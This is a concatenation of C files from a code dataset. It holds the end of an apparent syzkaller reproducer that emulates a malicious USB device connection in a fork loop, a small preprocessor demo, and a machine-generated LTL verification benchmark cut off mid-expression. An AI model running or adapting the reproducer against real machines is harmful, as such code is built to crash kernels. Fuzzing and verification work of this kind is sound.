"\x92\x0e\x96\xef\xb4\xcf\x8b\x93\x2a\xd9\x71\xfd\x3f\x42\x9c\xdd\x75\x95" "\xa4\x76\xc7\x72\x54\x4b\xa8\xa5\xf2\x0d\x14\xf6\x6a\x07\x9d\x94\xed\x38" "\x44\xc7\x36\x04\xbd\x09\xb0\x2f\xe1\x94\x75\xb8\xaa\x89\x9d\xfb\xe1\xa2" "\x00\x00\x00\x00\x00\x00\x00\x19\x67\x11\xea\xe7\x47\x86\x65\xf0\x86\xb2" "\x65\xf3\x0e\x57\x1e\xfa\xdf\xf0\xd1\x60\xba\x67\xdf\x4c\xc3\xb2\x21\x21" "\x25\x35\xee\xcb\x6a\xc6\x18\xf2\xd2\x04\xb7\xac\xec\x54\xcd\x67\xa0\x06" "\x2a\x14\x46\xf8\xff\xff\xff\x57\xe1\xf6\x15\xa3\xaf\x4e\x38\x89\x23\x78" "\x3f\x70\x7e\x63\x9a\xa3\xee\xc3\x12\x96\x34\x91\x0b\xf3\x09\xb6\x9b\xb5" "\xdf\x6c\x2e\xf4\x20\x17\xbe\x56\xda\x68\x44\x90\x85\x49\x74\x6c\xe4\xbe" "\x41\xec\xce\x5d\x57\x64\x57\xa1\xb1\x8a\xdd\x7f\xc1\x7e\x5a\xab\x45\xea" "\x89\xb3\xcf\xdf\xfc\xb6\x25\xe1\x12\xda\xe9\x51\x15\xcc\x3c\x10\xc3\x3d" "\xae\xac\xac\xde\x3d\x2b\xab\xcf\x10\xb1\xf6\x7a\x1c\x8d\xb1\x71\x53\x18" "\xd4\xb6\x50\xca\xff\x54\x06\x64\xe1\x67\x9c\x53\x55\x49\xbb\xc1\xbf\x82" "\xa3\xb6\x01\xb5\x54\xba\x06\x12\xc1\x90\x97\x71\xfd\xf4\x55\x7e\xe4\xa5" "\x38\xb1\xa2\xe5\x0e\x32\x21\x30\x9a\xc9\x82\xd7\x79\xb9\x6a\x6a\xb1\x5d" "\x5d\x35\xb5\xd7\x88\x9c\xfa\x4f\xf5\xe4\x71\x96\x28\x14\x32\x56\x3b\xa3" "\x88\x1d\xfd\x4b\xb6\x51\x7d\x91\x7d\xf8\x34\x35\xf0\x08\x6e\xb4\x27\x5a" "\xe4\x6a\xb3\xc3\x61\xb6\x0f\x29\x06\x25\x2c\x7d\x28\x0c\x95\xdb\x70\x4e" "\xb6\x08\x1f\xdb\xea\xd5\xea\x50\x33\x71\x1a\xdc\xc7\x5b\x18\xd3\x21\x64" "\x8f\x34\xbb\x6a\x26\xa9\x61\xe5\x3a\x15\x1f\x14\x9e\xa0\x7a\x4b\x06\x6e" "\xca\x42\x0b\x33\x88\x35\xdf\x8a\xae\x0c\x1c\x3e\x86\x9f\x37\x75\xc6\x9b" "\xd1\x03\xff\x9a\x0f\x85\xfb\x97\xe0\x2f\x81\xa1\x7d\x15\x7a\x6a\x40\x34" "\x81\xd5\x1a\x01\x54\x2b\x94\xa9\x13\x6d\x7c\x93\x50\xad\x81\x04\x87\xeb" "\x57\x19\xac\xb9\x43\x39\x2e\x4f\x24\x79\xdc\xac\xc2\x2a\xfa\xea\x57\x8c" "\xc8\xd1\x23\x04", 724); res = syz_usb_connect(1, 0x2d, 0x20000380, 0); if (res != -1) r[0] = res; syz_open_dev(0xc, 0xb4, 0); syz_usb_disconnect(r[0]); } int main(void) { syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0); for (procid = 0; procid < 6; procid++) { if (fork() == 0) { loop(); } } sleep(1000000); return 0; }

the_stack_data/67921.c

/* Preprocessor directives */ //T// #include, #define, #undef, #error, #ifdef, #ifndef, #endif, #if, defined(), #elif, #else, a few stdio.h macros #include <stdio.h> #define VAR_FIRST __DATE__ #undef VAR_FIRST #ifdef VAR_FIRST # error "Variable must not be defined" #endif #ifndef VAR_FIRST #define VAR_SEC __STDC__ #endif #if defined(VAR_SEC) && !defined(VAR_FIRST) #define VAR_INS __FILE__ #elif defined(VAR_FIRST) #define VAR_INS __LINE__ #else #define VAR_INS __TIME__ #endif //T// stringize operator #, macro continuation operator, token pasting operator ##, #pragma, function in #define #define Z1(b1,n) printf(#b1" or a non string: %d\n",c##n) #define Z2(x) (x * x) #pragma pack(1) int main () { struct st1 { int i1; char c1; }a; int b = 1, c5 = 9; Z1(b,5); printf("Square of five: %d\n",Z2(5)); return 0; }

the_stack_data/48576401.c

//@ ltl invariant negative: (([] AP(x_21 - x_11 >= -13)) U ([] AP(x_30 - x_17 > 17))); float x_0; float x_1; float x_2; float x_3; float x_4; float x_5; float x_6; float x_7; float x_8; float x_9; float x_10; float x_11; float x_12; float x_13; float x_14; float x_15; float x_16; float x_17; float x_18; float x_19; float x_20; float x_21; float x_22; float x_23; float x_24; float x_25; float x_26; float x_27; float x_28; float x_29; float x_30; float x_31; int main() { float x_0_; float x_1_; float x_2_; float x_3_; float x_4_; float x_5_; float x_6_; float x_7_; float x_8_; float x_9_; float x_10_; float x_11_; float x_12_; float x_13_; float x_14_; float x_15_; float x_16_; float x_17_; float x_18_; float x_19_; float x_20_; float x_21_; float x_22_; float x_23_; float x_24_; float x_25_; float x_26_; float x_27_; float x_28_; float x_29_; float x_30_; float x_31_; while(1) { x_0_ = (((((15.0 + x_2) > (18.0 + x_4)? (15.0 + x_2) : (18.0 + x_4)) > ((17.0 + x_7) > (13.0 + x_9)? (17.0 + x_7) : (13.0 + x_9))? ((15.0 + x_2) > (18.0 + x_4)? (15.0 + x_2) : (18.0 + x_4)) : ((17.0 + x_7) > (13.0 + x_9)? (17.0 + x_7) : (13.0 + x_9))) > (((5.0 + x_12) > (8.0 + x_13)? (5.0 + x_12) : (8.0 + x_13)) > ((12.0 + x_14) > (5.0 + x_15)? (12.0 + x_14) : (5.0 + x_15))? ((5.0 + x_12) > (8.0 + x_13)? (5.0 + x_12) : (8.0 + x_13)) : ((12.0 + x_14) > (5.0 + x_15)? (12.0 + x_14) : (5.0 + x_15)))? (((15.0 + x_2) > (18.0 + x_4)? (15.0 + x_2) : (18.0 + x_4)) > ((17.0 + x_7) > (13.0 + x_9)? (17.0 + x_7) : (13.0 + x_9))? ((15.0 + x_2) > (18.0 + x_4)? (15.0 + x_2) : (18.0 + x_4)) : ((17.0 + x_7) > (13.0 + x_9)? (17.0 + x_7) : (13.0 + x_9))) : (((5.0 + x_12) > (8.0 + x_13)? (5.0 + x_12) : (8.0 + x_13)) > ((12.0 + x_14) > (5.0 + x_15)? (12.0 + x_14) : (5.0 + x_15))? ((5.0 + x_12) > (8.0 + x_13)? (5.0 + x_12) : (8.0 + x_13)) : ((12.0 + x_14) > (5.0 + x_15)? (12.0 + x_14) : (5.0 + x_15)))) > ((((16.0 + x_16) > (11.0 + x_17)? (16.0 + x_16) : (11.0 + x_17)) > ((19.0 + x_18) > (10.0 + x_19)? (19.0 + x_18) : (10.0 + x_19))? ((16.0 + x_16) > (11.0 + x_17)? (16.0 + x_16) : (11.0 + x_17)) : ((19.0 + x_18) > (10.0 + x_19)? (19.0 + x_18) : (10.0 + x_19))) > (((2.0 + x_20) > (5.0 + x_24)? (2.0 + x_20) : (5.0 + x_24)) > ((8.0 + x_29) > (16.0 + x_30)? (8.0 + x_29) : (16.0 + x_30))? ((2.0 + x_20) > (5.0 + x_24)? (2.0 + x_20) : (5.0 + x_24)) : ((8.0 + x_29) > (16.0 + x_30)? (8.0 + x_29) : (16.0 + x_30)))? (((16.0 + x_16) > (11.0 + x_17)? (16.0 + x_16) : (11.0 + x_17)) > ((19.0 + x_18) > (10.0 + x_19)? (19.0 + x_18) : (10.0 + x_19))? ((16.0 + x_16) > (11.0 + x_17)? (16.0 + x_16) : (11.0 + x_17)) : ((19.0 + x_18) > (10.0 + x_19)? (19.0 + x_18) : (10.0 + x_19))) : (((2.0 + x_20) > (5.0 + x_24)? (2.0 + x_20) : (5.0 + x_24)) > ((8.0 + x_29) > (16.0 + x_30)? (8.0 + x_29) : (16.0 + x_30))? ((2.0 + x_20) > (5.0 + x_24)? (2.0 + x_20) : (5.0 + x_24)) : ((8.0 + x_29) > (16.0 + x_30)? (8.0 + x_29) : (16.0 + x_30))))? ((((15.0 + x_2) > (18.0 + x_4)? (15.0 + x_2) : (18.0 + x_4)) > ((17.0 + x_7) > (13.0 + x_9)? (17.0 + x_7) : (13.0 + x_9))? ((15.0 + x_2) > (18.0 + x_4)? (15.0 + x_2) : (18.0 + x_4)) : ((17.0 + x_7) > (13.0 + x_9)? (17.0 + x_7) : (13.0 + x_9))) > (((5.0 + x_12) > (8.0 + x_13)? (5.0 + x_12) : (8.0 + x_13)) > ((12.0 + x_14) > (5.0 + x_15)? (12.0 + x_14) : (5.0 + x_15))? ((5.0 + x_12) > (8.0 + x_13)? (5.0 + x_12) : (8.0 + x_13)) : ((12.0 + x_14) > (5.0 + x_15)? (12.0 + x_14) : (5.0 + x_15)))? (((15.0 + x_2) > (18.0 + x_4)? (15.0 + x_2) : (18.0 + x_4)) > ((17.0 + x_7) > (13.0 + x_9)? (17.0 + x_7) : (13.0 + x_9))? ((15.0 + x_2) > (18.0 + x_4)? (15.0 + x_2) : (18.0 + x_4)) : ((17.0 + x_7) > (13.0 + x_9)? (17.0 + x_7) : (13.0 + x_9))) : (((5.0 + x_12) > (8.0 + x_13)? (5.0 + x_12) : (8.0 + x_13)) > ((12.0 + x_14) > (5.0 + x_15)? (12.0 + x_14) : (5.0 + x_15))? ((5.0 + x_12) > (8.0 + x_13)? (5.0 + x_12) : (8.0 + x_13)) : ((12.0 + x_14) > (5.0 + x_15)? (12.0 + x_14) : (5.0 + x_15)))) : ((((16.0 + x_16) > (11.0 + x_17)? (16.0 + x_16) : (11.0 + x_17)) > ((19.0 + x_18) > (10.0 + x_19)? (19.0 + x_18) : (10.0 + x_19))? ((16.0 + x_16) > (11.0 + x_17)? (16.0 + x_16) : (11.0 + x_17)) : ((19.0 + x_18) > (10.0 + x_19)? (19.0 + x_18) : (10.0 + x_19))) > (((2.0 + x_20) > (5.0 + x_24)? (2.0 + x_20) : (5.0 + x_24)) > ((8.0 + x_29) > (16.0 + x_30)? (8.0 + x_29) : (16.0 + x_30))? ((2.0 + x_20) > (5.0 + x_24)? (2.0 + x_20) : (5.0 + x_24)) : ((8.0 + x_29) > (16.0 + x_30)? (8.0 + x_29) : (16.0 + x_30)))? (((16.0 + x_16) > (11.0 + x_17)? (16.0 + x_16) : (11.0 + x_17)) > ((19.0 + x_18) > (10.0 + x_19)? (19.0 + x_18) : (10.0 + x_19))? ((16.0 + x_16) > (11.0 + x_17)? (16.0 + x_16) : (11.0 + x_17)) : ((19.0 + x_18) > (10.0 + x_19)? (19.0 + x_18) : (10.0 + x_19))) : (((2.0 + x_20) > (5.0 + x_24)? (2.0 + x_20) : (5.0 + x_24)) > ((8.0 + x_29) > (16.0 + x_30)? (8.0 + x_29) : (16.0 + x_30))? ((2.0 + x_20) > (5.0 + x_24)? (2.0 + x_20) : (5.0 + x_24)) : ((8.0 + x_29) > (16.0 + x_30)? (8.0 + x_29) : (16.0 + x_30))))); x_1_ = (((((6.0 + x_0) > (18.0 + x_1)? (6.0 + x_0) : (18.0 + x_1)) > ((3.0 + x_7) > (7.0 + x_10)? (3.0 + x_7) : (7.0 + x_10))? ((6.0 + x_0) > (18.0 + x_1)? (6.0 + x_0) : (18.0 + x_1)) : ((3.0 + x_7) > (7.0 + x_10)? (3.0 + x_7) : (7.0 + x_10))) > (((4.0 + x_11) > (18.0 + x_12)? (4.0 + x_11) : (18.0 + x_12)) > ((16.0 + x_14) > (2.0 + x_15)? (16.0 + x_14) : (2.0 + x_15))? ((4.0 + x_11) > (18.0 + x_12)? (4.0 + x_11) : (18.0 + x_12)) : ((16.0 + x_14) > (2.0 + x_15)? (16.0 + x_14) : (2.0 + x_15)))? (((6.0 + x_0) > (18.0 + x_1)? (6.0 + x_0) : (18.0 + x_1)) > ((3.0 + x_7) > (7.0 + x_10)? (3.0 + x_7) : (7.0 + x_10))? ((6.0 + x_0) > (18.0 + x_1)? (6.0 + x_0) : (18.0 + x_1)) : ((3.0 + x_7) > (7.0 + x_10)? (3.0 + x_7) : (7.0 + x_10))) : (((4.0 + x_11) > (18.0 + x_12)? (4.0 + x_11) : (18.0 + x_12)) > ((16.0 + x_14) > (2.0 + x_15)? (16.0 + x_14) : (2.0 + x_15))? ((4.0 + x_11) > (18.0 + x_12)? (4.0 + x_11) : (18.0 + x_12)) : ((16.0 + x_14) > (2.0 + x_15)? (16.0 + x_14) : (2.0 + x_15)))) > ((((10.0 + x_18) > (14.0 + x_20)? (10.0 + x_18) : (14.0 + x_20)) > ((3.0 + x_22) > (9.0 + x_24)? (3.0 + x_22) : (9.0 + x_24))? ((10.0 + x_18) > (14.0 + x_20)? (10.0 + x_18) : (14.0 + x_20)) : ((3.0 + x_22) > (9.0 + x_24)? (3.0 + x_22) : (9.0 + x_24))) > (((3.0 + x_28) > (14.0 + x_29)? (3.0 + x_28) : (14.0 + x_29)) > ((14.0 + x_30) > (5.0 + x_31)? (14.0 + x_30) : (5.0 + x_31))? ((3.0 + x_28) > (14.0 + x_29)? (3.0 + x_28) : (14.0 + x_29)) : ((14.0 + x_30) > (5.0 + x_31)? (14.0 + x_30) : (5.0 + x_31)))? (((10.0 + x_18) > (14.0 + x_20)? (10.0 + x_18) : (14.0 + x_20)) > ((3.0 + x_22) > (9.0 + x_24)? (3.0 + x_22) : (9.0 + x_24))? ((10.0 + x_18) > (14.0 + x_20)? (10.0 + x_18) : (14.0 + x_20)) : ((3.0 + x_22) > (9.0 + x_24)? (3.0 + x_22) : (9.0 + x_24))) : (((3.0 + x_28) > (14.0 + x_29)? (3.0 + x_28) : (14.0 + x_29)) > ((14.0 + x_30) > (5.0 + x_31)? (14.0 + x_30) : (5.0 + x_31))? ((3.0 + x_28) > (14.0 + x_29)? (3.0 + x_28) : (14.0 + x_29)) : ((14.0 + x_30) > (5.0 + x_31)? (14.0 + x_30) : (5.0 + x_31))))? ((((6.0 + x_0) > (18.0 + x_1)? (6.0 + x_0) : (18.0 + x_1)) > ((3.0 + x_7) > (7.0 + x_10)? (3.0 + x_7) : (7.0 + x_10))? ((6.0 + x_0) > (18.0 + x_1)? (6.0 + x_0) : (18.0 + x_1)) : ((3.0 + x_7) > (7.0 + x_10)? (3.0 + x_7) : (7.0 + x_10))) > (((4.0 + x_11) > (18.0 + x_12)? (4.0 + x_11) : (18.0 + x_12)) > ((16.0 + x_14) > (2.0 + x_15)? (16.0 + x_14) : (2.0 + x_15))? ((4.0 + x_11) > (18.0 + x_12)? (4.0 + x_11) : (18.0 + x_12)) : ((16.0 + x_14) > (2.0 + x_15)? (16.0 + x_14) : (2.0 + x_15)))? (((6.0 + x_0) > (18.0 + x_1)? (6.0 + x_0) : (18.0 + x_1)) > ((3.0 + x_7) > (7.0 + x_10)? (3.0 + x_7) : (7.0 + x_10))? ((6.0 + x_0) > (18.0 + x_1)? (6.0 + x_0) : (18.0 + x_1)) : ((3.0 + x_7) > (7.0 + x_10)? (3.0 + x_7) : (7.0 + x_10))) : (((4.0 + x_11) > (18.0 + x_12)? (4.0 + x_11) : (18.0 + x_12)) > ((16.0 + x_14) > (2.0 + x_15)? (16.0 + x_14) : (2.0 + x_15))? ((4.0 + x_11) > (18.0 + x_12)? (4.0 + x_11) : (18.0 + x_12)) : ((16.0 + x_14) > (2.0 + x_15)? (16.0 + x_14) : (2.0 + x_15)))) : ((((10.0 + x_18) > (14.0 + x_20)? (10.0 + x_18) : (14.0 + x_20)) > ((3.0 + x_22) > (9.0 + x_24)? (3.0 + x_22) : (9.0 + x_24))? ((10.0 + x_18) > (14.0 + x_20)? (10.0 + x_18) : (14.0 + x_20)) : ((3.0 + x_22) > (9.0 + x_24)? (3.0 + x_22) : (9.0 + x_24))) > (((3.0 + x_28) > (14.0 + x_29)? (3.0 + x_28) : (14.0 + x_29)) > ((14.0 + x_30) > (5.0 + x_31)? (14.0 + x_30) : (5.0 + x_31))? ((3.0 + x_28) > (14.0 + x_29)? (3.0 + x_28) : (14.0 + x_29)) : ((14.0 + x_30) > (5.0 + x_31)? (14.0 + x_30) : (5.0 + x_31)))? (((10.0 + x_18) > (14.0 + x_20)? (10.0 + x_18) : (14.0 + x_20)) > ((3.0 + x_22) > (9.0 + x_24)? (3.0 + x_22) : (9.0 + x_24))? ((10.0 + x_18) > (14.0 + x_20)? (10.0 + x_18) : (14.0 + x_20)) : ((3.0 + x_22) > (9.0 + x_24)? (3.0 + x_22) : (9.0 + x_24))) : (((3.0 + x_28) > (14.0 + x_29)? (3.0 + x_28) : (14.0 + x_29)) > ((14.0 + x_30) > (5.0 + x_31)? (14.0 + x_30) : (5.0 + x_31))? ((3.0 + x_28) > (14.0 + x_29)? (3.0 + x_28) : (14.0 + x_29)) : ((14.0 + x_30) > (5.0 + x_31)? (14.0 + x_30) : (5.0 + x_31))))); x_2_ = (((((9.0 + x_0) > (20.0 + x_1)? (9.0 + x_0) : (20.0 + x_1)) > ((3.0 + x_2) > (20.0 + x_3)? (3.0 + x_2) : (20.0 + x_3))? ((9.0 + x_0) > (20.0 + x_1)? (9.0 + x_0) : (20.0 + x_1)) : ((3.0 + x_2) > (20.0 + x_3)? (3.0 + x_2) : (20.0 + x_3))) > (((19.0 + x_5) > (6.0 + x_6)? (19.0 + x_5) : (6.0 + x_6)) > ((14.0 + x_8) > (8.0 + x_10)? (14.0 + x_8) : (8.0 + x_10))? ((19.0 + x_5) > (6.0 + x_6)? (19.0 + x_5) : (6.0 + x_6)) : ((14.0 + x_8) > (8.0 + x_10)? (14.0 + x_8) : (8.0 + x_10)))? (((9.0 + x_0) > (20.0 + x_1)? (9.0 + x_0) : (20.0 + x_1)) > ((3.0 + x_2) > (20.0 + x_3)? (3.0 + x_2) : (20.0 + x_3))? ((9.0 + x_0) > (20.0 + x_1)? (9.0 + x_0) : (20.0 + x_1)) : ((3.0 + x_2) > (20.0 + x_3)? (3.0 + x_2) : (20.0 + x_3))) : (((19.0 + x_5) > (6.0 + x_6)? (19.0 + x_5) : (6.0 + x_6)) > ((14.0 + x_8) > (8.0 + x_10)? (14.0 + x_8) : (8.0 + x_10))? ((19.0 + x_5) > (6.0 + x_6)? (19.0 + x_5) : (6.0 + x_6)) : ((14.0 + x_8) > (8.0 + x_10)? (14.0 + x_8) : (8.0 + x_10)))) > ((((2.0 + x_13) > (8.0 + x_15)? (2.0 + x_13) : (8.0 + x_15)) > ((1.0 + x_17) > (4.0 + x_18)? (1.0 + x_17) : (4.0 + x_18))? ((2.0 + x_13) > (8.0 + x_15)? (2.0 + x_13) : (8.0 + x_15)) : ((1.0 + x_17) > (4.0 + x_18)? (1.0 + x_17) : (4.0 + x_18))) > (((10.0 + x_20) > (20.0 + x_25)? (10.0 + x_20) : (20.0 + x_25)) > ((8.0 + x_30) > (4.0 + x_31)? (8.0 + x_30) : (4.0 + x_31))? ((10.0 + x_20) > (20.0 + x_25)? (10.0 + x_20) : (20.0 + x_25)) : ((8.0 + x_30) > (4.0 + x_31)? (8.0 + x_30) : (4.0 + x_31)))? (((2.0 + x_13) > (8.0 + x_15)? (2.0 + x_13) : (8.0 + x_15)) > ((1.0 + x_17) > (4.0 + x_18)? (1.0 + x_17) : (4.0 + x_18))? ((2.0 + x_13) > (8.0 + x_15)? (2.0 + x_13) : (8.0 + x_15)) : ((1.0 + x_17) > (4.0 + x_18)? (1.0 + x_17) : (4.0 + x_18))) : (((10.0 + x_20) > (20.0 + x_25)? (10.0 + x_20) : (20.0 + x_25)) > ((8.0 + x_30) > (4.0 + x_31)? (8.0 + x_30) : (4.0 + x_31))? ((10.0 + x_20) > (20.0 + x_25)? (10.0 + x_20) : (20.0 + x_25)) : ((8.0 + x_30) > (4.0 + x_31)? (8.0 + x_30) : (4.0 + x_31))))? ((((9.0 + x_0) > (20.0 + x_1)? (9.0 + x_0) : (20.0 + x_1)) > ((3.0 + x_2) > (20.0 + x_3)? (3.0 + x_2) : (20.0 + x_3))? ((9.0 + x_0) > (20.0 + x_1)? (9.0 + x_0) : (20.0 + x_1)) : ((3.0 + x_2) > (20.0 + x_3)? (3.0 + x_2) : (20.0 + x_3))) > (((19.0 + x_5) > (6.0 + x_6)? (19.0 + x_5) : (6.0 + x_6)) > ((14.0 + x_8) > (8.0 + x_10)? (14.0 + x_8) : (8.0 + x_10))? ((19.0 + x_5) > (6.0 + x_6)? (19.0 + x_5) : (6.0 + x_6)) : ((14.0 + x_8) > (8.0 + x_10)? (14.0 + x_8) : (8.0 + x_10)))? (((9.0 + x_0) > (20.0 + x_1)? (9.0 + x_0) : (20.0 + x_1)) > ((3.0 + x_2) > (20.0 + x_3)? (3.0 + x_2) : (20.0 + x_3))? ((9.0 + x_0) > (20.0 + x_1)? (9.0 + x_0) : (20.0 + x_1)) : ((3.0 + x_2) > (20.0 + x_3)? (3.0 + x_2) : (20.0 + x_3))) : (((19.0 + x_5) > (6.0 + x_6)? (19.0 + x_5) : (6.0 + x_6)) > ((14.0 + x_8) > (8.0 + x_10)? (14.0 + x_8) : (8.0 + x_10))? ((19.0 + x_5) > (6.0 + x_6)? (19.0 + x_5) : (6.0 + x_6)) : ((14.0 + x_8) > (8.0 + x_10)? (14.0 + x_8) : (8.0 + x_10)))) : ((((2.0 + x_13) > (8.0 + x_15)? (2.0 + x_13) : (8.0 + x_15)) > ((1.0 + x_17) > (4.0 + x_18)? (1.0 + x_17) : (4.0 + x_18))? ((2.0 + x_13) > (8.0 + x_15)? (2.0 + x_13) : (8.0 + x_15)) : ((1.0 + x_17) > (4.0 + x_18)? (1.0 + x_17) : (4.0 + x_18))) > (((10.0 + x_20) > (20.0 + x_25)? (10.0 + x_20) : (20.0 + x_25)) > ((8.0 + x_30) > (4.0 + x_31)? (8.0 + x_30) : (4.0 + x_31))? ((10.0 + x_20) > (20.0 + x_25)? (10.0 + x_20) : (20.0 + x_25)) : ((8.0 + x_30) > (4.0 + x_31)? (8.0 + x_30) : (4.0 + x_31)))? (((2.0 + x_13) > (8.0 + x_15)? (2.0 + x_13) : (8.0 + x_15)) > ((1.0 + x_17) > (4.0 + x_18)? (1.0 + x_17) : (4.0 + x_18))? ((2.0 + x_13) > (8.0 + x_15)? (2.0 + x_13) : (8.0 + x_15)) : ((1.0 + x_17) > (4.0 + x_18)? (1.0 + x_17) : (4.0 + x_18))) : (((10.0 + x_20) > (20.0 + x_25)? (10.0 + x_20) : (20.0 + x_25)) > ((8.0 + x_30) > (4.0 + x_31)? (8.0 + x_30) : (4.0 + x_31))? ((10.0 + x_20) > (20.0 + x_25)? (10.0 + x_20) : (20.0 + x_25)) : ((8.0 + x_30) > (4.0 + x_31)? (8.0 + x_30) : (4.0 + x_31))))); x_3_ = (((((3.0 + x_3) > (2.0 + x_4)? (3.0 + x_3) : (2.0 + x_4)) > ((5.0 + x_5) > (17.0 + x_6)? (5.0 + x_5) : (17.0 + x_6))? ((3.0 + x_3) > (2.0 + x_4)? (3.0 + x_3) : (2.0 + x_4)) : ((5.0 + x_5) > (17.0 + x_6)? (5.0 + x_5) : (17.0 + x_6))) > (((19.0 + x_8) > (3.0 + x_10)? (19.0 + x_8) : (3.0 + x_10)) > ((7.0 + x_11) > (5.0 + x_12)? (7.0 + x_11) : (5.0 + x_12))? ((19.0 + x_8) > (3.0 + x_10)? (19.0 + x_8) : (3.0 + x_10)) : ((7.0 + x_11) > (5.0 + x_12)? (7.0 + x_11) : (5.0 + x_12)))? (((3.0 + x_3) > (2.0 + x_4)? (3.0 + x_3) : (2.0 + x_4)) > ((5.0 + x_5) > (17.0 + x_6)? (5.0 + x_5) : (17.0 + x_6))? ((3.0 + x_3) > (2.0 + x_4)? (3.0 + x_3) : (2.0 + x_4)) : ((5.0 + x_5) > (17.0 + x_6)? (5.0 + x_5) : (17.0 + x_6))) : (((19.0 + x_8) > (3.0 + x_10)? (19.0 + x_8) : (3.0 + x_10)) > ((7.0 + x_11) > (5.0 + x_12)? (7.0 + x_11) : (5.0 + x_12))? ((19.0 + x_8) > (3.0 + x_10)? (19.0 + x_8) : (3.0 + x_10)) : ((7.0 + x_11) > (5.0 + x_12)? (7.0 + x_11) : (5.0 + x_12)))) > ((((7.0 + x_15) > (2.0 + x_17)? (7.0 + x_15) : (2.0 + x_17)) > ((15.0 + x_20) > (6.0 + x_21)? (15.0 + x_20) : (6.0 + x_21))? ((7.0 + x_15) > (2.0 + x_17)? (7.0 + x_15) : (2.0 + x_17)) : ((15.0 + x_20) > (6.0 + x_21)? (15.0 + x_20) : (6.0 + x_21))) > (((14.0 + x_23) > (5.0 + x_29)? (14.0 + x_23) : (5.0 + x_29)) > ((10.0 + x_30) > (6.0 + x_31)? (10.0 + x_30) : (6.0 + x_31))? ((14.0 + x_23) > (5.0 + x_29)? (14.0 + x_23) : (5.0 + x_29)) : ((10.0 + x_30) > (6.0 + x_31)? (10.0 + x_30) : (6.0 + x_31)))? (((7.0 + x_15) > (2.0 + x_17)? (7.0 + x_15) : (2.0 + x_17)) > ((15.0 + x_20) > (6.0 + x_21)? (15.0 + x_20) : (6.0 + x_21))? ((7.0 + x_15) > (2.0 + x_17)? (7.0 + x_15) : (2.0 + x_17)) : ((15.0 + x_20) > (6.0 + x_21)? (15.0 + x_20) : (6.0 + x_21))) : (((14.0 + x_23) > (5.0 + x_29)? (14.0 + x_23) : (5.0 + x_29)) > ((10.0 + x_30) > (6.0 + x_31)? (10.0 + x_30) : (6.0 + x_31))? ((14.0 + x_23) > (5.0 + x_29)? (14.0 + x_23) : (5.0 + x_29)) : ((10.0 + x_30) > (6.0 + x_31)? (10.0 + x_30) : (6.0 + x_31))))? ((((3.0 + x_3) > (2.0 + x_4)? (3.0 + x_3) : (2.0 + x_4)) > ((5.0 + x_5) > (17.0 + x_6)? (5.0 + x_5) : (17.0 + x_6))? ((3.0 + x_3) > (2.0 + x_4)? (3.0 + x_3) : (2.0 + x_4)) : ((5.0 + x_5) > (17.0 + x_6)? (5.0 + x_5) : (17.0 + x_6))) > (((19.0 + x_8) > (3.0 + x_10)? (19.0 + x_8) : (3.0 + x_10)) > ((7.0 + x_11) > (5.0 + x_12)? (7.0 + x_11) : (5.0 + x_12))? ((19.0 + x_8) > (3.0 + x_10)? (19.0 + x_8) : (3.0 + x_10)) : ((7.0 + x_11) > (5.0 + x_12)? (7.0 + x_11) : (5.0 + x_12)))? (((3.0 + x_3) > (2.0 + x_4)? (3.0 + x_3) : (2.0 + x_4)) > ((5.0 + x_5) > (17.0 + x_6)? (5.0 + x_5) : (17.0 + x_6))? ((3.0 + x_3) > (2.0 + x_4)? (3.0 + x_3) : (2.0 + x_4)) : ((5.0 + x_5) > (17.0 + x_6)? (5.0 + x_5) : (17.0 + x_6))) : (((19.0 + x_8) > (3.0 + x_10)? (19.0 + x_8) : (3.0 + x_10)) > ((7.0 + x_11) > (5.0 + x_12)? (7.0 + x_11) : (5.0 + x_12))? ((19.0 + x_8) > (3.0 + x_10)? (19.0 + x_8) : (3.0 + x_10)) : ((7.0 + x_11) > (5.0 + x_12)? (7.0 + x_11) : (5.0 + x_12)))) : ((((7.0 + x_15) > (2.0 + x_17)? (7.0 + x_15) : (2.0 + x_17)) > ((15.0 + x_20) > (6.0 + x_21)? (15.0 + x_20) : (6.0 + x_21))? ((7.0 + x_15) > (2.0 + x_17)? (7.0 + x_15) : (2.0 + x_17)) : ((15.0 + x_20) > (6.0 + x_21)? (15.0 + x_20) : (6.0 + x_21))) > (((14.0 + x_23) > (5.0 + x_29)? (14.0 + x_23) : (5.0 + x_29)) > ((10.0 + x_30) > (6.0 + x_31)? (10.0 + x_30) : (6.0 + x_31))? ((14.0 + x_23) > (5.0 + x_29)? (14.0 + x_23) : (5.0 + x_29)) : ((10.0 + x_30) > (6.0 + x_31)? (10.0 + x_30) : (6.0 + x_31)))? (((7.0 + x_15) > (2.0 + x_17)? (7.0 + x_15) : (2.0 + x_17)) > ((15.0 + x_20) > (6.0 + x_21)? (15.0 + x_20) : (6.0 + x_21))? ((7.0 + x_15) > (2.0 + x_17)? (7.0 + x_15) : (2.0 + x_17)) : ((15.0 + x_20) > (6.0 + x_21)? (15.0 + x_20) : (6.0 + x_21))) : (((14.0 + x_23) > (5.0 + x_29)? (14.0 + x_23) : (5.0 + x_29)) > ((10.0 + x_30) > (6.0 + x_31)? (10.0 + x_30) : (6.0 + x_31))? ((14.0 + x_23) > (5.0 + x_29)? (14.0 + x_23) : (5.0 + x_29)) : ((10.0 + x_30) > (6.0 + x_31)? (10.0 + x_30) : (6.0 + x_31))))); x_4_ = (((((15.0 + x_0) > (9.0 + x_1)? (15.0 + x_0) : (9.0 + x_1)) > ((7.0 + x_4) > (2.0 + x_5)? (7.0 + x_4) : (2.0 + x_5))? ((15.0 + x_0) > (9.0 + x_1)? (15.0 + x_0) : (9.0 + x_1)) : ((7.0 + x_4) > (2.0 + x_5)? (7.0 + x_4) : (2.0 + x_5))) > (((15.0 + x_8) > (1.0 + x_9)? (15.0 + x_8) : (1.0 + x_9)) > ((11.0 + x_12) > (7.0 + x_14)? (11.0 + x_12) : (7.0 + x_14))? ((15.0 + x_8) > (1.0 + x_9)? (15.0 + x_8) : (1.0 + x_9)) : ((11.0 + x_12) > (7.0 + x_14)? (11.0 + x_12) : (7.0 + x_14)))? (((15.0 + x_0) > (9.0 + x_1)? (15.0 + x_0) : (9.0 + x_1)) > ((7.0 + x_4) > (2.0 + x_5)? (7.0 + x_4) : (2.0 + x_5))? ((15.0 + x_0) > (9.0 + x_1)? (15.0 + x_0) : (9.0 + x_1)) : ((7.0 + x_4) > (2.0 + x_5)? (7.0 + x_4) : (2.0 + x_5))) : (((15.0 + x_8) > (1.0 + x_9)? (15.0 + x_8) : (1.0 + x_9)) > ((11.0 + x_12) > (7.0 + x_14)? (11.0 